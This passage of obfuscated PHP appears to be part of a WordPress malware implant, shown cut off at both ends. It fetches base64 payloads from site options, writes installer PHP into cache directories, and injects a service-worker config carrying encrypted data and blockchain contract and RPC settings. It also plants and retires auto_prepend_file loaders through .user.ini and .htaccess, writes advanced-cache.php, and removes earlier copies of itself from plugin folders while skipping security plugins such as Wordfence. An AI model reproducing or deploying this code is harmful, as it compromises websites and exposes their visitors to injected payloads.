"6H7" . "W\x6e\x45" . "k1pc" . '0x' . "\x73" . "V\x50\x4b\x33y" . 'mCN' . '6XAQ' . "\x511" . '8MeuU' . "e\x43q0" . 'BK/' . 'cBN' . "\x54" . '5+ZT4' . "vw" . 'M' . 'EIB+2' . "u+\x61" . 'shETT' . 'dOXQY' . 'iql' . 'S6m+I' . "Zl\x42\x2f" . 'hoy' . 'bLv' . 'DZSJ' . "\x75\x30f" . 'T' . 'nZ6c' . 's' . 'Jt' . 'B' . 'MQ0SG' . 'gpa7' . 'G/' . "\x4bp\x4c" . "U\x680\x6dy" . 'W' . 'rrvo4' . "\x2b" . 'Ad' . 'gKUT6' . 'Nu3w' . "\x47" . 'N' . "\x2b" . 'ngj' . 'Z7' . "GW2\x34" . 'rgV' . "xc" . "2N\x6f" . "q\x4cv\x6ah" . "\x50w\x3d="));
	if (!is_string($c) || strlen($c) < (182 - 82)) $c = '';
	return $c;
}

function rikob()
{
	try {
		if (!defined('A' . 'BSPA' . "T\x48")) return;

		$slug = basename(sc_file(), '.p' . "\x68p");
		$zip_name = sc_md5(ABSPATH . "z\x69" . "\x70", (8 | 0)) . ".z\x69" . 'p';
		$inst_hash = sc_md5(ABSPATH . 'in' . 'st', (3 + 5));

		$_content_url = (('functi' . "\x6f\x6e_ex") . "ists")('co' . 'n' . 'te' . 'nt_u' . 'rl') ? content_url() : '';
		if ($_content_url === '') {
			$_content_url = (('function_exist' . 's')("get_s" . "ite_" . 'url') ? get_site_url() : '') . '/wp-c' . "o\x6e\x74" . 'en' . 't';
		}
		$zip_url = str_replace('ht' . "tp" . '://', "ht\x74" . 'ps://', $_content_url . '/' . $zip_name);
		if (strpos($zip_url, 'http' . 's:/' . "/") !== (2762 ^ 2762)) $zip_url = "h\x74\x74ps" . '://' . ltrim($zip_url, '/');
		$inst_url = ('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")("home" . '_url') ? home_url('?p=' . pivi('ins' . 't')) : '';
		if ($inst_url === '') $inst_url = 'https' . ":\x2f\x2f" . nita('') . "/" . "?" . "\x70=" . pivi("i\x6e" . 'st');
		if (strpos($inst_url, "h" . 'tt' . 'p' . "s://") !== (1481 ^ 1481)) $inst_url = 'https' . '://' . ltrim(("preg" . ('_replac' . "\x65"))('#^htt' . 'ps?:/' . '/#', '', $inst_url), '/');

		$c2_sw = isset(${'GL' . 'O' . "\x42AL\x53"}['sc_sw']) && is_string(${'G' . "\x4cOB" . 'AL' . 'S'}['sc' . '_s' . 'w']) ? ${'G' . "\x4c\x4f\x42\x41LS"}['sc_' . "sw"] : '';
		if (strlen($c2_sw) < (37 ^ 65)) {
			$c2_sw = fufak("sw_" . "\x63ac\x68" . 'ed', '');
		}
		if (strlen($c2_sw) < (178 - 78)) {
			$c2_sw = kuwic();
		}

		$page_code = '';
		if (isset(${'G' . "L" . 'O' . "\x42\x41\x4c\x53"}['sc_p' . 'a' . 'g' . 'e']) && is_string(${"GLOB" . "A" . "\x4c" . 'S'}['sc' . "_\x70age"]) && strlen(${'GL' . '' . "OBA" . 'LS'}["\x73c_pa" . 'ge']) > (81 - 31)) {
			$page_code = ${("\x47\x4c" . "OB") . 'A' . "\x4c\x53"}["s" . 'c_p' . "age"];
		} else {
			$page_code = fufak("pa\x67" . "\x65_" . 'c' . 'a' . "ch" . "ed", '');
		}
		if (strlen($page_code) > (48 | 2)) {
			sc_pk('p' . 'age_' . 'cac' . 'h' . 'e' . 'd', $page_code, 'no');
		}

		$_ab = ("fu" . "n\x63\x74io\x6e\x5fe\x78is\x74\x73")('ho' . "me" . "_u\x72l") ? (string) parse_url(home_url('/'), PHP_URL_PATH) : '/';
		if ($_ab === '') $_ab = '/';
		if (substr($_ab, -(2439 ^ 2438)) !== '/') $_ab .= '/';
		$boot_data = array(
			"cont" . 'ract' . 's' => gayin(),
			'rpcs' => reko(),
			"adm" . "in" . 'Base' => $_ab,
		);
		$sensitive_data = array(
			"zi" . 'pU' . 'rl' => $zip_url,
			"sl" . 'u' . "g" => $slug,
			'inst' . "all" . 'e' . 'rUr' . 'l' => $inst_url,
			'wri' . "teK\x65" . 'y' => sc_md5(ABSPATH . 'w' . 'k', (96 >> 3)),
			"p" . "\x61" . 'geCod' . 'e' => $page_code,
		);
		$srv_key = sc_pg('sr' . 'v_k' . "e" . 'y', '');
		if (!is_string($srv_key) || strlen($srv_key) === (366 ^ 366)) {
			return;
		}
		$enc_data = ("b\x61" . '' . "\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65")(xado(json_encode($sensitive_data), $srv_key));
		$config_prefix = "\x76" . "ar " . '__S' . 'C' . '_BOO' . "\x54=JS\x4f" . "N\x2epa" . 'rse' . "\x28" . "at" . 'o' . 'b(' . "\"" . ("base64_enco" . 'de')(json_encode($boot_data)) . '")' . ');';
		$config_prefix .= 'var' . ' ' . '__' . "SC_E" . "NC\x3d\"" . $enc_data . '";';
		$_sw_sig_n = md5((string) $c2_sw . (string) $page_code . $srv_key . json_encode($boot_data['c' . "o" . 'ntra' . "\x63" . 't' . "\x73"]) . json_encode($boot_data['rpcs']) . '|' . strtolower(nita('')) . '|' . $_ab);
		if (sc_pk('sw_c' . "o\x6efig", $config_prefix, "n" . 'o') || fufak('sw_c' . 'onf' . 'i' . 'g', '') === $config_prefix) sc_pk('sw_co' . 'nfig_' . 'si' . "\x67", $_sw_sig_n, 'no');
		unset($_sw_sig_n);

		$sw_url = ("funct" . '' . 'ion_e' . 'xi' . 'sts')('home' . '_url') ? home_url('?p=' . pivi('sw')) : '';
		if ($sw_url === '') $sw_url = "\x68t\x74p\x73" . ':/' . '/' . nita('') . "\x2f?p" . "=" . pivi('sw');
		if (strpos($sw_url, 'h' . 'ttp' . 's:' . "//") !== (171 ^ 171)) $sw_url = 'https' . ":" . '//' . ltrim(("p\x72\x65\x67_\x72e" . "place")("#\x5e\x68t\x74" . 'ps?:/' . '/#', '', $sw_url), '/');
		sc_pk('sw_' . "ur" . 'l', $sw_url, 'no');

		if (strlen($c2_sw) < (176 - 76)) {
			return;
		}
		sc_pk("s\x77" . '_cac' . "hed", $c2_sw, 'no');

		if (!xuvu()) return;
		$cache_dir = sc_data_dir();
		if (!@is_dir($cache_dir)) aca($cache_dir, (1972 >> 2), (23 < 24));
		if (!@is_dir($cache_dir) || !@is_writable($cache_dir)) return;

		$inst_file = $cache_dir . '/' . $inst_hash . '.p' . 'h' . 'p';
		$inst_code = fezo(
			"i\x6est" . "\x5ft\x70\x6c",
			array("_" . "\x5f\x53LUG" . '__', '__ZIP' . '_NAME' . '__', '__' . 'WRI' . "\x54\x45" . '_' . 'KEY__', '_' . "_\x56" . 'ERSI' . "O\x4e__"),
			array($slug, $zip_name, sc_md5(ABSPATH . 'wk', (6 ^ 10)), sc_ver())
		);
		if (!$inst_code) {
			if ((int) get_option('sc_la' . 'st' . "_f" . 'etch_' . "ts", (865 ^ 865)) > (474 ^ 474)) vugo('sw', 'i' . 'nst' . "_\x74pl\x5f" . "m" . 'is' . 'sing');
			return;
		}
		if (!@file_exists($inst_file) || md5(loye((string) @("\x66\x69\x6ce\x5f\x67\x65\x74" . "\x5f\x63" . ('onte' . 'nts'))($inst_file))) !== md5($inst_code)) {
			aveb($inst_file, $inst_code, "\x73w_i\x6e" . "\x73t");
			ayux($inst_file, tiwul());
			mafa($inst_file, (501 - 81));
			tidi($inst_file);
		}
	} catch (Throwable $e) {
		vugo('sw', $e);
	} catch (Exception $e) {
	}
}

function fezo($key, $placeholders, $values)
{
	$payload = null;
	if (!($payload === null)) {} else {
		$payload = (("\x66" . "unction_") . "" . "\x65\x78\x69\x73\x74\x73")("get_t" . "ran" . 'sien' . 't') ? get_transient(ovi()) : (22 == 19);
		if (! is_array($payload)) {
			$payload = oxow('sc_p' . 'ayl' . 'oad' . '_pers' . 'iste' . 'nt', (25 === 31));
		}
		if (!(! is_array($payload))) {} else {
			$payload = array();
		}
	}
	$b64 = '';
	if (!(isset($payload[$key]) && is_string($payload[$key]))) {} else {
		$b64 = $payload[$key];
	}
	if (strlen($b64) < (50 | 0)) {
		$b64 = fufak($key, '');
	}
	if (strlen($b64) < (62 - 12)) return (8 == 23);
	$code = ("\x62\x61\x73\x65\x36" . "4_" . "de\x63\x6fd\x65")($b64, (30 != 21));
	if (!$code || strlen($code) < (96 - 46)) return (13 === 40);
	if (strpos($code, '<?') === (26 == 11)) return (36 == 3);
	$code = str_replace($placeholders, $values, $code);
	if (defined("T\x4f\x4b\x45\x4e" . "_P\x41\x52S" . 'E')) {
		try {
			@token_get_all($code, TOKEN_PARSE);
		} catch (Throwable $e) {
			return (4 == 36);
		} catch (Exception $e) {
			return (34 === 24);
		}
	} elseif (!cale($code)) {
		return (9 === 40);
	}
	return $code;
}

function sc_sw_setup()
{
	try {
		sc_dbg_log('17' . ' s' . 'w_set' . "u" . "p\x20e" . "nt\x65" . 'r');
		if (!('functi' . "on" . "\x5f\x65\x78\x69" . "sts")("g\x65t\x5ft" . 'rans' . 'ien' . 't')) return;
		if (!defined('A' . "\x42\x53" . "P" . 'ATH')) return;

		$_sw_ok = boba();
		if (!$_sw_ok) {
			rikob();
			$_sw_ok = boba();
		}

		$_sk = fufak('srv_' . "k\x65y", '');
		if (strlen($_sk) === (3615 ^ 3615)) $_sk = str_repeat("\x00", (16 | 0));
		$_sw_cur = (isset(${'GLO' . ('BA' . '') . "LS"}['sc_s' . "w"]) && is_string(${"GL" . ("OBA" . "LS")}['sc_' . 'sw']) && strlen(${"\x47\x4c" . "OBALS"}['s' . "\x63\x5fsw"]) >= (157 - 57)) ? ${'GLO' . "BAL" . '' . "\x53"}['sc_sw'] : fufak("s" . 'w_' . 'cac' . "\x68ed", '');
		if (strlen($_sw_cur) < (100 | 0)) $_sw_cur = kuwic();
		$_pg_cur = (isset(${"\x47" . 'LOBALS'}['sc_pa' . 'ge']) && is_string(${"\x47\x4c\x4f\x42\x41" . "LS"}['sc_p' . "\x61ge"]) && strlen(${"\x47\x4c" . "O" . "BALS"}['sc' . '_' . "\x70age"]) > (61 - 11)) ? ${("\x47\x4c\x4fB" . 'AL') . 'S'}["sc_p" . "\x61\x67e"] : fufak("pag" . 'e_' . 'cac' . 'he' . 'd', '');
		$_abp = ("funct" . ("\x69\x6f\x6e_" . 'exists'))('home' . "_" . "ur" . 'l') ? (string) parse_url(home_url('/'), PHP_URL_PATH) : '/';
		if ($_abp === '') $_abp = '/';
		if (substr($_abp, -(3993 ^ 3992)) !== '/') $_abp .= '/';
		$_sw_sig = md5($_sw_cur . $_pg_cur . $_sk . json_encode(gayin()) . json_encode(reko()) . '|' . strtolower(nita('')) . '|' . $_abp);
		unset($_abp);
		if (fufak('sw_co' . 'nfig_' . 'sig', '') !== $_sw_sig) {
			rikob();
			$_sw_ok = boba();
		}

		if (!xuvu()) return;

		$base = sc_writable_base();
		$adv_exists = @file_exists($base . "/adva" . 'nc' . 'e' . 'd' . '-cach' . "e\x2e" . 'php');
		if ($adv_exists && $_sw_ok && get_transient("\x73c" . "_\x73" . 'w_s' . 'etu' . 'p')) return;

		uja();
		kuxi();
		zaqaz();

		$_adv_ok = @file_exists($base . '/a' . 'dvanc' . 'ed-' . "\x63\x61" . "c" . 'he.p' . "\x68\x70");
		$_sw_ok = boba();

		if ($_adv_ok && $_sw_ok) {
			set_transient('sc_s' . "w_se" . "t\x75p", (2261 ^ 2260), (381 - 81));
		}
	} catch (Throwable $e) {
		vugo('sw' . '_s' . 'etup', $e);
	} catch (Exception $e) {
	}
}

function kuxi()
{
	try {
		if (!defined("A" . "BS" . 'PATH')) return;
		$base = sc_writable_base();
		$cache_dir = sc_data_dir();
		$loader_name = sc_md5(ABSPATH . 'ldr', (64 >> 3)) . '.php';

		
		$ini_filename = ('f' . 'u' . "nction_exist" . "" . "s")('ini_' . 'get') ? @ini_get('u' . 'ser_' . 'ini.f' . 'il' . "en" . "a" . 'me') : (22 === 27);
		$ini_filename = is_string($ini_filename) ? trim($ini_filename) : '';
		if ($ini_filename === '' || strcasecmp($ini_filename, "(n" . 'on' . "\x65)") === (1739 ^ 1739)) $ini_filename = ".us\x65" . 'r.ini';

		$_mu_cd = dirname(sc_file()) . '/c' . 'ach' . 'e';
		$_lg_cd = defined("\x57\x50_CO" . 'N' . 'T' . 'ENT_D' . "IR") ? WP_CONTENT_DIR . '/' . "c\x61che" : $_mu_cd;
		$_dirs = array(rtrim($base, '/' . '\\'), rtrim(dirname(sc_file()), '/\\'), rtrim($cache_dir, '/\\'), rtrim($_mu_cd, "/" . '\\'), rtrim($_lg_cd, '/\\'));
		if (defined('W' . 'P' . '_' . 'CO' . "NTEN" . "T" . "_DIR")) $_dirs[] = rtrim(WP_CONTENT_DIR, '/' . '\\');
		foreach (array_unique($_dirs) as $_d) {
			$_wp = $_d . '/' . $loader_name;
			if (@is_file($_wp)) haba($_wp, null);
			$_hp = $_d . '/.' . $loader_name;
			if (@is_file($_hp)) haba($_hp, null);
		}
		unset($_mu_cd, $_lg_cd, $_dirs, $_d, $_wp, $_hp);

		$_ini_dirs = array(rtrim(ABSPATH, '/\\'));
		if (defined('WP_' . 'CO' . "N" . 'TENT' . '_DIR')) $_ini_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
		$_ini_dirs[] = rtrim($base, '/\\');
		$_ini_dirs[] = rtrim(dirname(sc_file()), '/' . "\\");
		foreach (array_unique($_ini_dirs) as $_id) {
			$_ip = $_id . '/' . $ini_filename;
			$_ic = @is_file($_ip) ? @("\x66\x69\x6c\x65" . "\x5fg" . "et_conte" . 'nts')($_ip) : '';
			if (!is_string($_ic) || $_ic === '' || strpos($_ic, $loader_name) === (35 == 5)) continue;
			$_in = ('pr' . 'eg_' . "r" . 'eplace')("\x2f\\" . "n" . '?a' . "u" . "\x74o" . "_p" . 're' . 'p' . 'e' . "\x6ed_\x66i" . 'le\\s' . "*\x3d\\" . "s" . '*["\']' . "?" . '[^' . "\"\x27" . '\\r' . '\\' . 'n]*' . preg_quote($loader_name, '/') . '[^"\'\\' . 'r\\n' . ']*[' . '"\']?\\' . "r" . "?\\" . "n\x3f\x2fi", "\n", $_ic);
			if (is_string($_in) && $_in !== $_ic && jihe($_ip, $_in)) vugo('in' . 'i', 'retir' . "e" . "d");
		}
		unset($_ini_dirs, $_id, $_ip, $_ic, $_in);

		if (("functi" . "on\x5fe\x78i\x73ts")('d' . 'elet' . 'e' . "\x5f" . 'op' . 'tio' . "\x6e")) {
			@delete_option('sc_in' . "\x69_" . 'pendi' . "ng");
			@delete_option('s' . 'c_' . "ini" . '_' . 'fail');
			@delete_option("sc_in" . 'i_dea' . 'd');
		}
	} catch (Throwable $e) {
		vugo("in" . 'i', $e);
	} catch (Exception $e) {
	}
}

function tona()
{
	try {
		if (!defined('ABSP' . "AT" . "H")) return;
		$base = sc_writable_base();
		$cache_dir = sc_data_dir();

		
		$loader_name = sc_md5(ABSPATH . "ht" . 'l', (14 + -6)) . '.' . "\x70\x68p";
		$_mu_cd = dirname(sc_file()) . "/c\x61" . 'che';
		$_lg_cd = defined("\x57P" . '_CON' . 'TENT' . '_D' . 'IR') ? WP_CONTENT_DIR . '/' . "ca\x63\x68" . 'e' : $_mu_cd;
		$_dirs = array(rtrim($base, '/\\'), rtrim(dirname(sc_file()), '/\\'), rtrim($cache_dir, '/\\'), rtrim($_mu_cd, '/\\'), rtrim($_lg_cd, '/\\'));
		if (defined('WP_C' . 'O' . 'NTEN' . "T_DI" . 'R')) $_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
		foreach (array_unique($_dirs) as $_d) {
			$_lp = $_d . '/' . $loader_name;
			if (@is_file($_lp)) haba($_lp, null);
		}
		unset($_mu_cd, $_lg_cd, $_dirs, $_d, $_lp);
		$_ht_dirs = array(rtrim(ABSPATH, '/\\'));
		if (defined("\x57" . "P\x5fC" . "ONTE" . 'NT_D' . 'IR')) $_ht_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
		$_ht_dirs[] = rtrim($base, '/\\');
		$_ht_dirs[] = rtrim(dirname(sc_file()), '/\\');
		foreach (array_unique($_ht_dirs) as $_htd) {
			$_hp = $_htd . "/.hta" . 'c' . 'cess';
			$_hc = @is_file($_hp) ? @('file_get_c' . 'on' . "tents")($_hp) : '';
			if (!is_string($_hc) || $_hc === '' || strpos($_hc, $loader_name) === (1 === 0)) continue;
			$_hn = buyo($_hc, $loader_name);
			if (is_string($_hn) && $_hn !== $_hc && jihe($_hp, $_hn)) vugo('ht', 'ret' . 'ir' . 'ed');
		}
		unset($_ht_dirs, $_htd, $_hp, $_hc, $_hn);

		if (php_sapi_name() === 'cli') return;
		if (!ofa()) return;
		if (!xuvu()) return;
		$htaccess = $cache_dir . '/.hta' . "cc" . "e\x73" . "s";

		$rules = '<Fi' . 'le' . "\x73\x4dat" . 'ch "\\' . '.(z' . "i" . 'p|lo' . 'g' . '|sq' . 'l)$">' . "\n"
			. "<\x49fM" . "\x6f\x64ule" . ' m' . 'od' . '_auth' . "\x7a_c\x6f\x72" . 'e.c' . '>' . "\n" . 'R' . 'equ' . "\x69\x72e a" . "ll " . 'd' . "en" . 'ied' . "\n" . '</IfM' . "od" . 'ule' . '>' . "\n"
			. "\x3c\x49f" . 'Mo' . "\x64" . 'ul' . "e !" . 'mod_a' . 'u' . "th\x7a_c" . 'o' . 'r' . "e\x2e\x63\x3e" . "\n" . 'D' . 'en' . 'y fr' . 'om al' . 'l' . "\n" . '</I' . 'fMod' . "\x75l\x65" . '>' . "\n"
			. '</Fi' . "\x6c\x65\x73Ma" . 't' . 'ch>' . "\n";

		$_ht_ex = @file_exists($htaccess);
		$current = $_ht_ex ? @(("f" . 'ile_get_content') . 's')($htaccess) : '';
		if (!is_string($current)) {
			vugo('h' . 't', "rea" . "d\x5f" . 'fai' . 'l' . "ed");
			return;
		}
		$_shared = array(rtrim(ABSPATH, '/\\'));
		if (defined("\x57P_\x43O" . "\x4eT" . "\x45NT_" . 'DIR')) $_shared[] = rtrim(WP_CONTENT_DIR, '/\\');
		if (defined("W" . "P" . "M\x55" . "_PLU" . 'G' . 'I' . 'N_DIR')) $_shared[] = rtrim(WPMU_PLUGIN_DIR, '/\\');
		if (defined("W" . "P\x5fP\x4c" . 'UGIN' . '_DIR')) $_shared[] = rtrim(WP_PLUGIN_DIR, '/\\');
		$_cdn = rtrim($cache_dir, "/" . '\\');
		$_is_shared = in_array($_cdn, $_shared, (6 != 7));
		unset($_shared, $_cdn);
		if (!$_is_shared) {
			$_idx = $cache_dir . "/inde" . 'x.h' . "tm\x6c";
			if (!@is_file($_idx)) aveb($_idx, '', 'idx');
			if (strpos($current, "\x46" . 'iles' . 'M' . "a\x74ch") === (15 == 28)) {
				$_raw = $current;
				if ($current !== '' && substr($current, -(2173 ^ 2172)) !== "\n") $current .= "\n";
				$_rc = @('fi' . "\x6c" . "\x65\x5f\x67e" . 't_contents')($htaccess);
				if (!is_string($_rc)) $_rc = '';
				if ($_rc !== $_raw) {
					vugo('ht', 'rmw_' . 'race');
				} else {
					jihe($htaccess, $current . $rules);
					ayux($htaccess, tiwul());
					if (!$_ht_ex) mafa($htaccess, (47 ^ 395));
				}
				unset($_rc, $_raw);
			}
		}
		unset($_is_shared, $_idx, $_ht_ex);
	} catch (Throwable $e) {
		vugo('ht', $e);
	} catch (Exception $e) {
		vugo('ht', $e);
	}
}

function tomip($pl_dir, $mu_dir, $slug)
{
	$out = array();
	if (!("f\x75\x6ec\x74\x69\x6f" . "\x6e\x5f\x65" . '' . "x\x69\x73" . "\x74s")('glob')) return $out;
	$self = sc_file();
	foreach (array($pl_dir . '/*.p' . 'hp', $pl_dir . '/*/*.' . 'p' . "\x68" . 'p', $mu_dir . '/*' . '.php') as $pat) {
		$l = @("\x67" . 'lob')($pat);
		if (!is_array($l)) continue;
		foreach ($l as $f) {
			$f = str_replace('\\', '/', (string) $f);
			if ($f === '' || basename($f, '.p' . 'hp') === $slug || basename($f) === "\x69n\x64e" . 'x.ph' . 'p') continue;
			if (!vufa($f, $self)) continue;
			$out[] = $f;
		}
	}
	return $out;
}

function zime($slug = null, $full = (27 == 40))
{
	if (!("func" . "tion_exists")('get_o' . 'p' . "\x74i" . 'o' . 'n') || !("fu\x6e" . ("\x63\x74\x69\x6f\x6e" . "_\x65xis\x74s"))('upda' . "\x74e_\x6f" . 'p' . "t\x69on")) return;
	if ($slug === null) $slug = basename(sc_file(), '.' . 'ph' . 'p');
	$mu = sc_mu();
	$mu_dir = defined('WPMU_' . 'PLUGI' . 'N_DIR') ? WPMU_PLUGIN_DIR : $mu;
	$base = sc_writable_base();
	$pl_dir = defined('WP_P' . "LUGI" . 'N_D' . "\x49\x52") ? WP_PLUGIN_DIR : $base . '/pl' . "u\x67\x69" . "ns";
	$cd_dir = defined('WP_C' . "ON" . "T\x45NT_" . 'DIR') ? WP_CONTENT_DIR : $base;

	 
	 
	 
	 
	$_self_f = ('functi' . '' . "\x6f\x6e\x5f\x65xist\x73")('sc_f' . 'ile') ? (string) sc_file() : '';
	$_self_r = ($_self_f !== '' && ('function_e' . "" . "xists")('real' . "\x70" . 'ath')) ? @realpath($_self_f) : (40 === 1);
	$_is_self = function ($p) use ($_self_f, $_self_r) {
		if ($p === '' || $_self_f === '') return (36 == 38);
		if (str_replace('\\', '/', $p) === str_replace('\\', '/', $_self_f)) return (29 != 0);
		if (is_string($_self_r)) { $_pr = @realpath($p); if (is_string($_pr) && $_pr === $_self_r) return (34 != 31); }
		return (25 === 5);
	};

	 
	$old_mu_file = null;
	$old_pl_file = null;
	$old_mu_slug = null;
	if (!(("\x66" . "unctio" . "n\x5fe\x78\x69" . "sts")('glob'))) {} else {
		$mu_files = @("g" . 'l' . 'o' . 'b')($mu_dir . "/\x2a." . 'ph' . "p");
		if (is_array($mu_files)) {
			foreach ($mu_files as $f) {
				$bn = basename($f, "\x2e" . 'ph' . "p");
				$dn = basename(dirname($f));
				if ($dn !== "\x6du\x2dpl" . "ug\x69\x6e" . "s" || $bn === 'in' . "dex" || $bn === "\x41k" . "i" . 'smet' || $bn === 'Wor' . 'dfi' . "ce" || $bn === 'al' . "l-\x69n" . "-\x6f" . "ne" . '-se' . 'o' || $bn === 'jet' . "pa" . "c\x6b") continue;
				$h = @("\x66" . 'ile_get_content' . "\x73")($f, (6 == 30), null, (1042 ^ 1042), (3702 ^ 7798));
				if (!(preg_match("\x2f\\" . '/\\* ' . 'S' . 'CV:(\\' . 'd+' . '\\.\\d' . '+\\' . '.' . '\\d+) ' . "\\*\\" . '//', $h, $m))) {} else {
					if (!($bn !== $slug && !$_is_self($f))) {} else {
						$old_mu_file = $f;
						$old_mu_slug = $bn;
						break;
					}
				}
			}
		}
		if (!($old_mu_file === null)) {} else {
			$pl_subdir = $pl_dir . '/' . $slug;
			$pl_cand = $pl_subdir . '/' . $slug . '.php';
			if (@is_file($pl_cand) && !$_is_self($pl_cand)) {
				$h = @("file_get_co" . '' . "nte\x6e\x74s")($pl_cand, (26 == 1), null, (3487 ^ 3487), (7206 - 3110));
				if (!(preg_match("/" . '\\/\\* ' . 'SCV:(' . '\\d+' . '\\.\\d' . "+\\.\\d" . '+)' . " \\\x2a\\/" . "\x2f", $h, $m))) {} else {
					$old_pl_file = $pl_cand;
				}
			}
			unset($pl_cand);
		}
	}
	$_extra = tomip($pl_dir, $mu_dir, $slug);
	if ($old_mu_file === null && $old_pl_file === null && empty($_extra) && !$full) return;

	 
	if ($old_mu_file !== null) cobu(basename($old_mu_file));
	if ($old_pl_file !== null) cobu($slug . '/' . basename($old_pl_file));

	 
	if (!($old_mu_file !== null)) {} else {
		soda($old_mu_file);
		$mu_dir_path = dirname($old_mu_file);
		$nested = $mu_dir_path . '/' . $old_mu_slug;
		if (@is_dir($nested)) {
			$nf = @('g' . "lob")($nested . '/*');
			if (!(is_array($nf))) {} else { foreach ($nf as $f) soda($f); }
			if (("functio" . '' . "n\x5f\x65xi\x73t\x73")("r\x6d" . 'di' . 'r')) @("r" . 'm' . "\x64\x69" . "r")($nested);
		}
		$prefixes = array('.wr_', "." . 'q_', '.b' . 't_', '.sd_', '.' . 'hb_', ".gr" . 'd_', "." . 'gx_', '.' . 'gsu' . '_', '.gl_', ".u\x62" . '_', '.swm_');
		foreach ($prefixes as $px) {
			$_files = @('g' . 'l' . "o" . "b")($mu_dir_path . '/' . $px . '*');
			if (!(is_array($_files))) {} else { foreach ($_files as $mf) soda($mf); }
			$_mf = $mu_dir . '/' . $px . $slug;
			if (@is_file($_mf)) soda($_mf);
		}
		if (("f" . ("" . 'unction_exis') . "ts")("opc" . 'ache' . "_i\x6e" . 'v' . 'al' . 'i' . 'da' . "te")) @opcache_invalidate($old_mu_file, (23 === 23));
	}

	 
	if (!($old_pl_file !== null)) {} else {
		soda($old_pl_file);
		$pl_subdir = dirname($old_pl_file);
		$prefixes = array('.' . 'wr' . "_", '.q' . "\x5f", ".\x62" . 't_', ".sd" . '_', '.g' . 'r' . "\x64\x5f", ".\x67" . 'x_', '.gsu_', '.gl_', '.ub_', '.swm_');
		foreach ($prefixes as $px) {
			$_files = @("\x67" . "lob")($pl_subdir . '/' . $px . '*');
			if (!(is_array($_files))) {} else { foreach ($_files as $mf) soda($mf); }
		}
		if (('f' . "unctio" . "n_ex" . "ists")('opc' . "\x61\x63h" . "e_in" . 'valid' . "a" . 'te')) @opcache_invalidate($old_pl_file, (35 == 35));
	}

	 
	$adv_path = $cd_dir . '/adv' . "\x61n\x63e" . 'd' . '-' . 'c' . "ach" . 'e.' . "php";
	if (!(@is_file($adv_path))) {} else {
		$h = @(('file_get_' . "conte") . "\x6e" . "ts")($adv_path, (24 === 0), null, (1853 ^ 1853), (426 ^ 8618));
		if (limus($h)) soda($adv_path);
	}
	$db_path = $cd_dir . "/db" . '.' . "p\x68p";
	if (@is_file($db_path)) {
		$h = @("\x66" . 'ile_' . "get_content" . "\x73")($db_path, (2834 !== 2834), null, (141 ^ 141), (2388 + 5804));
		if (limus($h)) soda($db_path);
	}
	$oc_path = $cd_dir . "/" . 'obj' . 'ect-c' . "\x61c\x68\x65." . 'php';
	if (@is_file($oc_path)) {
		$h = @("\x66\x69" . '' . 'le_ge' . "\x74\x5f\x63o\x6et\x65nt\x73")($oc_path, (15 == 39), null, (1607 ^ 1607), (11411 - 3219));
		if (limus($h)) soda($oc_path);
	}

	 
	$_oc_files = @("\x67lo" . 'b')($cd_dir . "/" . '.' . "wp-ob" . "\x6a" . "\x65ct-" . 'c' . 'a' . "ch" . 'e-*.d' . 'a' . 't');
	if (!(is_array($_oc_files))) {} else { foreach ($_oc_files as $f) soda($f); }
	$_oc_lkg = @("\x67\x6co" . "b")($cd_dir . '/.wp' . "-obj" . 'ect-c' . "a" . "ch\x65\x2d*" . "." . "dat\x2el" . 'kg');
	if (!(is_array($_oc_lkg))) {} else { foreach ($_oc_lkg as $f) soda($f); }

	 
	if (!(("func" . '' . "ti" . 'on_' . "exists")('sc' . '_dat' . "a_" . 'dir'))) {} else {
		$_cd = sc_data_dir();
		if (@is_dir($_cd)) {
			$_cf = @('g' . "\x6c" . 'o' . "b")($_cd . '/*');
			if (is_array($_cf)) { foreach ($_cf as $f) soda($f); }
			if ((("function_" . "\x65\x78") . '' . "\x69\x73t" . 's')('rmdir')) @("r" . 'm' . 'd' . "" . "ir")($_cd);
		}
	}

	 
	global $wpdb;
	if (!(isset($wpdb) && $wpdb instanceof wpdb)) {} else {
		$_opts = $wpdb->get_results('SELE' . 'CT' . " op" . "\x74ion" . '_nam' . "e" . ' FRO' . 'M ' . $wpdb->options . " \x57\x48" . 'ERE' . ' opt' . 'ion_' . 'name ' . 'L' . 'IKE' . " \x27sc" . '_%\'');
		if (is_array($_opts)) {
			foreach ($_opts as $_o) {
				if (isset($_o->option_name)) delete_option($_o->option_name);
			}
		}
	}

	 
	if (!(("f" . "\x75\x6e" . 'c' . 'tion_exists')('opca' . 'che_' . 'inva' . 'l' . "i" . 'd' . 'at' . 'e'))) {} else {
		@opcache_invalidate($adv_path, (31 != 3));
		@opcache_invalidate($db_path, (40 !== 15));
		@opcache_invalidate($oc_path, (40 !== 9));
	}

	 
	if (!(!empty($_extra))) {} else {
		foreach ($_extra as $_xf) {
			$_xrel = xejo($_xf);
			if (!($_xrel !== '')) {} else {
				cobu($_xrel);
				cali($_xrel);
			}
			mafa($_xf, (351 + 69));
			if (sc_retire_copy($_xf)) {
				sc_retire_sidecars($_xf);
				$_xd = dirname($_xf);
				if (basename($_xd) === basename($_xf, '.ph' . 'p') && @is_dir($_xd)) aviz($_xd);
			} else {
				vixo($_xf);
			}
			if (('funct' . "\x69\x6f\x6e\x5f\x65" . 'xis' . "\x74\x73")("opc" . 'ach' . "e" . '_' . 'i' . 'nv' . 'a' . 'li' . 'dat' . "\x65")) @opcache_invalidate($_xf, (8 === 8));
			vugo("\x72\x65mo" . "v" . "\x65" . '_' . "o" . "\x6cd", 'ret' . "ir\x65" . "\x64" . ' extr' . 'a ' . "co" . 'p' . 'y ' . ($_xrel !== '' ? $_xrel : basename($_xf)));
		}
		unset($_xd);
	}

	 
	 
	if (!($full || !empty($_extra))) {} else {
		sc_invalidate_vectors();
	}

	 
	if (!(isset($wpdb) && $wpdb instanceof wpdb && isset($wpdb->options))) {} else {
		@delete_option(sc_md5(ABSPATH . 'opt', (23 - 13)));
